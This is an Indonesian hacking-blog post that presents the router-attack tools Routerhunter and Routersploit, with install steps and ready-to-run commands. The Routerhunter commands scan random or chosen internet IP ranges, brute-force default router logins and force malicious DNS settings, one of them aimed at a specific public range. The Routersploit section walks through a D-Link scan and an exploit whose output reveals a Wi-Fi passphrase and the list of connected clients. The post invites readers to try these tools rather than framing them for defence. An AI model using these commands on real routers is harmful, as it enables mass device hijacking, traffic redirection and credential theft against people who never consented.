DUNIA PERETAS: Router

Kemarin sudah bahas tentang tools hack router (Routersploit) di linux, Kali ini saya akan bahas sama juga mengenai tools hack router (Routerhunter) juga di linux.

Sekilas tentang Routerhunter merupakan alat keamanan otomatis di ciptakan oleh Jhonathan Davi A.K.A jh00nbr yang di gunakan untuk menemukan kerentanan dan melakukan tes pada router dan perangkat rentan di Internet. Routerhunter dirancang untuk mencari ips trek yang sudah ditentukan atau acak, secara otomatis mengeksploitasi DNSChanger dan kerentanan pada router.

Download: Github

Penggunaan

Root  -range 192.168.1.0-255, --range 192.168.1.0-255  Set range of IP
  -bruteforce, --bruteforce                        Performs brute force with users and passwords standards, and soon    after defines the malicious DNS.
  -startip 192.168.*.*, --startip 192.168.*.*      Start - IP range customized with wildcard / 201.*.*.*
  -endip 192.168.*.*, --endip 192.168.*.*          End - IP range customized with wildcard / 201.*.*.*
  -dns1 8.8.8.8, --dns1 8.8.8.8                    Define malicious dns1
  -dns2 8.8.4.4, --dns2 8.8.4.4                    Define malicious dns2
  --threads 10                                     Set threads numbers
  -rip, --randomip                                 Randomizing ips routers
  -lmtip 10, --limitip 10                          Define limite random ip

Dasar perintah exploitasi

Exploit random ips

Root python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10                      
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10

Scanner di range ip

Root Tpython routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10

Kisaran IP disesuaikan dengan wildcard / Ex: --startip 201.*.*.* - --endip 201.*.*.*

Root python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10

Brute force dengan pengguna password pada router yang memerlukan otentikasi, memaksa perubahan dns

Root python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10

Sekian dari saya selamat mencoba Good Luck!!

Sebenaranya sudah lama ingin share tools ini, namun baru kali ini saya ingat tools ini dan ingin share kepada kalian pembaca setia artikel dunia peretas.

Routersploit merupakan sebuah tools opensource (sumber terbuka) diciptakan oleh Marcin Bury, 0burner, dan Mariusz Kupidura yang di dekasikan untuk perangkat embedded.

Pada tools routersploit terdapat beberapa module yang digunakan untuk pengujian pentrasi antara lain:

eksploitasi - modul yang mengambil keuntungan dari kerentanan diidentifikasi

creds - modul dirancang untuk menguji terhadap layanan jaringan

scanner - modul yang memeriksa apakah target rentan terhadap eksploitasi

Routersploit support

telnet

http auth dasar

bentuk http auth

snmp

Installasi Routersploit

Installasi pada kali linux

Root git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py

Installasi pada ubuntu 16.04

Rootsudo apt-get install python-dev python-pip libncurses5-dev git git clone https://github.com/reverse-shell/routersploit cd routersploit pip install -r requirements.txt ./rsf.py

Installasi pada osx

Root it clone https://github.com/reverse-shell/routersploit cd routersploit sudo easy_install pip sudo pip install -r requirements.txt ./rsf.py

Update routersploit

Root cd routersploit git pull

Penggunaan

Root ./rsf.py

Exploitasi

Daftar module

Root  rsf > use exploits/ exploits/2wire/ exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/ rsf > use exploits/dlink/dir_300_600_rce rsf (D-LINK DIR-300 & DIR-600 RCE) >

Scanner

Contoh scanner kerentanan exploitasi dlink router

Pilih module

Root  rsf > use scanners/dlink_scan
rsf (D-Link Scanner) > show options

Opsi

Root Target options:

   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port       80                   Target port

Pilih target

Root rsf (D-Link Scanner) > set target 192.168.1.1
[+] {'target': '192.168.1.1'}

Jalankan module

Root rsf (D-Link Scanner) > run
[+] exploits/dlink/dwr_932_info_disclosure is vulnerable
[-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable
[-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable
[-] exploits/dlink/dns_320l_327l_rce is not vulnerable
[-] exploits/dlink/dir_645_password_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_rce is not vulnerable

[+] Device is vulnerable!
 - exploits/dlink/dwr_932_info_disclosure

Telah diverifikasi bahwa target rentan untuk dwr_932_info_disclosure mengeksploitasi. Sekarang menggunakan modul yang tepat dan mengeksploitasi sasaran.

Root rrsf (D-Link Scanner) > use exploits/dlink/dwr_932_info_disclosure
rsf (D-Link DWR-932 Info Disclosure) > set target 192.168.1.1
[+] {'target': '192.168.1.1'}
rsf (D-Link DWR-932 Info Disclosure) > exploit
[*] Running module...
[*] Decoding JSON value
[+] Exploit success

   Parameter                  Value                                                                                                 
   ---------                  -----                                                                                                 
   get_wps_enable             0                                                                                                     
   wifi_AP1_enable            1                                                                                                     
   get_client_list            9c:00:97:00:a3:b3,192.168.0.45,IT-PCs,0>40:b8:00:ab:b8:8c,192.168.0.43,android-b2e363e04fb0680d,0     
   wifi_AP1_ssid              dlink-DWR-932                                                                                         
   get_mac_address            c4:00:f5:00:ec:40                                                                                     
   wifi_AP1_security_mode     3208,8                                                                                                
   wifi_AP1_hidden            0                                                                                                     
   get_mac_filter_switch      0                                                                                                     
   wifi_AP1_passphrase        MyPaSsPhRaSe                                                                                          
   get_wps_mode               0

Sumber: Routersploit

Sekian dari saya apabila ada kesalahan dalam penulisan mohon maaf sebesar-besarnya selamat malam dan selamat mecoba Good Luck!!

DUNIA PERETAS

Router Hunter Tools Hack Router Power Full In Linux

Routersploit Tools Hack Router Powerfull Support Linux dan Osx